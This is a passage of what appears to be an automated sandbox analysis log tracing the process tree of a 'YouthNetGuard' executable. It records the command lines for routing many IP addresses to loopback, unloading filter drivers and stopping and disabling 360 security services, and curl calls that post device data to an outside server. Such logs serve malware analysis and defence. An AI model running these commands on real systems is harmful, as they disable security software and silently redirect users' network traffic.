      "route.exe" delete 38.97.254.168
      4⤵
      PID:2312
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.168 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3764
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.183 255.255.255.255
      4⤵
      PID:3464
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.183
      4⤵
      PID:3328
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.183 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1628
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.184 255.255.255.255
      4⤵
      PID:4860
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.184
      4⤵
      PID:4692
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.184 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4280
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.185 255.255.255.255
      4⤵
      PID:312
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.185
      4⤵
      PID:3764
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.185 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1440
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.214 255.255.255.255
      4⤵
      PID:4192
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.214
      4⤵
      PID:4448
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.214 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1804
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.219 255.255.255.255
      4⤵
      PID:4116
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.219
      4⤵
      PID:3044
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.219 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1856
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.229 255.255.255.255
      4⤵
      PID:5056
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3036
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 38.97.254.229
      4⤵
      PID:3344
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 38.97.254.229 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2420
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.153.60.128 255.255.255.255
      4⤵
      PID:4224
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 43.153.60.128
      4⤵
      PID:2132
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 43.153.60.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4484
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.230.72.70 255.255.255.255
      4⤵
      PID:2456
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 43.230.72.70
      4⤵
      PID:4836
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 43.230.72.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:1488
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.124.78.109 255.255.255.255
      4⤵
      PID:652
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 45.124.78.109
      4⤵
      PID:5032
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 45.124.78.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2576
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.207.209.119 255.255.255.255
      4⤵
      PID:1448
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 45.207.209.119
      4⤵
      PID:3532
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2160
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 45.207.209.119 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:2740
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4836
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 47.242.204.9 255.255.255.255
      4⤵
      PID:3344
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 47.242.204.9
      4⤵
      PID:2716
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 47.242.204.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:3364
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.74 255.255.255.255
      4⤵
      PID:908
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 49.7.37.74
      4⤵
      PID:5008
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 49.7.37.74 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4180
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.75 255.255.255.255
      4⤵
      PID:2492
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 49.7.37.75
      4⤵
      PID:2792
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 49.7.37.75 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4300
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1732
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 54.37.225.221 255.255.255.255
      4⤵
      PID:176
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 54.37.225.221
      4⤵
      PID:2744
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 54.37.225.221 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:976
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.130 255.255.255.255
      4⤵
      PID:3908
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 94.154.43.130
      4⤵
      PID:1636
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 94.154.43.130 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4280
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.8 255.255.255.255
      4⤵
      PID:4880
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5008
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" delete 94.154.43.8
      4⤵
      PID:1440
  - - C:\Windows\SYSTEM32\route.exe
      "route.exe" add 94.154.43.8 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
      4⤵
      PID:4180
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360AntiSteal
      4⤵
      PID:4736
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360Box64
      4⤵
      PID:1540
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360FsFlt
      4⤵
      PID:2480
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3788
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360qpesv
      4⤵
      PID:2960
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360AvFlt
      4⤵
      PID:4544
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload DsArk
      4⤵
      PID:1552
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360Sensor
      4⤵
      PID:2060
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360Sensor64
      4⤵
      PID:5032
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
      4⤵
      Launches sc.exe
      PID:3620
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
      4⤵
      PID:2132
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop Zhudongfangyu
      4⤵
      Launches sc.exe
      PID:1892
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1932
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
      4⤵
      PID:652
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360rp
      4⤵
      Launches sc.exe
      PID:4036
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2964
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360rp start= disabled
      4⤵
      Launches sc.exe
      PID:2012
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4324
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop Q360AMPPL
      4⤵
      PID:1524
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
      4⤵
      PID:3908
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop dsmainsrv
      4⤵
      PID:1084
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
      4⤵
      PID:1340
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1688
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop DsArk
      4⤵
      PID:4692
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config DsArk start= disabled
      4⤵
      Launches sc.exe
      PID:3648
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360FsFlt
      4⤵
      PID:4984
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
      4⤵
      PID:3344
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1892
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AvFlt
      4⤵
      PID:2556
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
      4⤵
      Launches sc.exe
      PID:4116
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Box64
      4⤵
      PID:2012
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
      4⤵
      PID:3612
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiSteal
      4⤵
      Launches sc.exe
      PID:4240
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
      4⤵
      PID:4928
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiAttack
      4⤵
      Launches sc.exe
      PID:4880
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2404
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
      4⤵
      PID:5032
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1584
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiHacker
      4⤵
      Launches sc.exe
      PID:4760
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
      4⤵
      Launches sc.exe
      PID:2316
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiHijack
      4⤵
      Launches sc.exe
      PID:4168
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4300
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
      4⤵
      Launches sc.exe
      PID:652
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2388
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiExploit
      4⤵
      Launches sc.exe
      PID:948
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
      4⤵
      PID:4448
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360SelfProtection
      4⤵
      Launches sc.exe
      PID:3020
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
      4⤵
      Launches sc.exe
      PID:820
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4888
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360qpesv
      4⤵
      PID:3792
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1524
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
      4⤵
      Launches sc.exe
      PID:1856
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Sensor
      4⤵
      PID:3464
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
      4⤵
      Launches sc.exe
      PID:4236
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360netmon
      4⤵
      PID:2420
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1016
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360netmon start= disabled
      4⤵
      PID:4168
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2160
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Hvm
      4⤵
      Launches sc.exe
      PID:976
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
      4⤵
      Launches sc.exe
      PID:3452
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360elam64
      4⤵
      PID:2988
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4684
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
      4⤵
      PID:2104
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360CactusNet
      4⤵
      Launches sc.exe
      PID:4704
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
      4⤵
      Launches sc.exe
      PID:3328
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Camera
      4⤵
      PID:664
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4480
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Camera start= disabled
      4⤵
      PID:2020

C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
"C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 15 --connect-timeout 10 -X POST -H "Content-Type: application/json" --data-binary "@C:\Users\Admin\AppData\Local\Temp\yng-admin-2168-240676968.json" "https://www.56789tl.com/api/device/register"
  2⤵
  PID:4884
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 25 --connect-timeout 10 "https://www.56789tl.com/api/policy?device_id=dd7b21e50c884c57abc98f61b7a6b9fe&version=0&force=1"
  2⤵
  PID:2744
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 set interface "Loopback Pseudo-Interface 1" weakhostsend=enabled weakhostreceive=enabled
  2⤵
  PID:3264
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 101.36.223.81 255.255.255.255
  2⤵
  PID:3936
- C:\Windows\system32\route.exe
  "route.exe" delete 101.36.223.81
  2⤵
  PID:4904
- C:\Windows\system32\route.exe
  "route.exe" add 101.36.223.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2016
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.132.234.124 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3388
- C:\Windows\system32\route.exe
  "route.exe" delete 103.132.234.124
  2⤵
  PID:4052
- C:\Windows\system32\route.exe
  "route.exe" add 103.132.234.124 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2308
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.146.79.138 255.255.255.255
  2⤵
  PID:4940
- C:\Windows\system32\route.exe
  "route.exe" delete 103.146.79.138
  2⤵
  PID:3788
- C:\Windows\system32\route.exe
  "route.exe" add 103.146.79.138 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1648
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.206 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5056
- C:\Windows\system32\route.exe
  "route.exe" delete 103.192.209.206
  2⤵
  PID:3536
- C:\Windows\system32\route.exe
  "route.exe" add 103.192.209.206 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2692
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.215 255.255.255.255
  2⤵
  PID:3668
- C:\Windows\system32\route.exe
  "route.exe" delete 103.192.209.215
  2⤵
  PID:4480
- C:\Windows\system32\route.exe
  "route.exe" add 103.192.209.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:944
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.197.25.108 255.255.255.255
  2⤵
  PID:2288
- C:\Windows\system32\route.exe
  "route.exe" delete 103.197.25.108
  2⤵
  PID:3708
- C:\Windows\system32\route.exe
  "route.exe" add 103.197.25.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1932
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.241.247 255.255.255.255
  2⤵
  PID:1216
- C:\Windows\system32\route.exe
  "route.exe" delete 103.205.241.247
  2⤵
  PID:3556
- C:\Windows\system32\route.exe
  "route.exe" add 103.205.241.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3308
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3536
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.253.148 255.255.255.255
  2⤵
  PID:5000
- C:\Windows\system32\route.exe
  "route.exe" delete 103.205.253.148
  2⤵
  PID:3184
- C:\Windows\system32\route.exe
  "route.exe" add 103.205.253.148 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1196
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.15 255.255.255.255
  2⤵
  PID:3480
- C:\Windows\system32\route.exe
  "route.exe" delete 103.217.192.15
  2⤵
  PID:1904
- C:\Windows\system32\route.exe
  "route.exe" add 103.217.192.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1072
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.16 255.255.255.255
  2⤵
  PID:4760
- C:\Windows\system32\route.exe
  "route.exe" delete 103.217.192.16
  2⤵
  PID:5056
- C:\Windows\system32\route.exe
  "route.exe" add 103.217.192.16 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3372
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.58 255.255.255.255
  2⤵
  PID:2384
- C:\Windows\system32\route.exe
  "route.exe" delete 103.36.165.58
  2⤵
  PID:3264
- C:\Windows\system32\route.exe
  "route.exe" add 103.36.165.58 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3432
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.68 255.255.255.255
  2⤵
  PID:3920
- C:\Windows\system32\route.exe
  "route.exe" delete 103.36.165.68
  2⤵
  PID:2404
- C:\Windows\system32\route.exe
  "route.exe" add 103.36.165.68 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2136
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.10.73 255.255.255.255
  2⤵
  PID:2844
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.10.73
  2⤵
  PID:3764
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.10.73 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4240
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.118.81 255.255.255.255
  2⤵
  PID:3336
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.118.81
  2⤵
  PID:4040
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.118.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4588
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.15.245 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3780
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.15.245
  2⤵
  PID:3432
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.15.245 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4672
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.198.227 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3776
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.198.227
  2⤵
  PID:4624
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.198.227 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2628
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.2.176 255.255.255.255
  2⤵
  PID:2620
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.2.176
  2⤵
  PID:3788
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.2.176 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1576
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.22.38 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3308
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.22.38
  2⤵
  PID:4728
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4812
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.22.38 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2988
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.23.246 255.255.255.255
  2⤵
  PID:3364
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.23.246
  2⤵
  PID:4164
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.23.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3252
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.28.69 255.255.255.255
  2⤵
  PID:4236
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.28.69
  2⤵
  PID:3372
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.28.69 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3464
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.32.43 255.255.255.255
  2⤵
  PID:2384
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.32.43
  2⤵
  PID:4312
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.32.43 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2988
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.34.28 255.255.255.255
  2⤵
  PID:2116
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4832
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.34.28
  2⤵
  PID:4704
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.34.28 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2016
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.38.108 255.255.255.255
  2⤵
  PID:4772
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.38.108
  2⤵
  PID:3432
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.38.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:220
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.4.133 255.255.255.255
  2⤵
  PID:1580
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.4.133
  2⤵
  PID:2160
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.4.133 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1932
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.42.238 255.255.255.255
  2⤵
  PID:3024
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.42.238
  2⤵
  PID:4648
- C:\Windows\system32\route.exe
  "route.exe" add 104.21.42.238 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3128
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.43.9 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:928
- C:\Windows\system32\route.exe
  "route.exe" delete 104.21.43.9
  2⤵
  PID:652
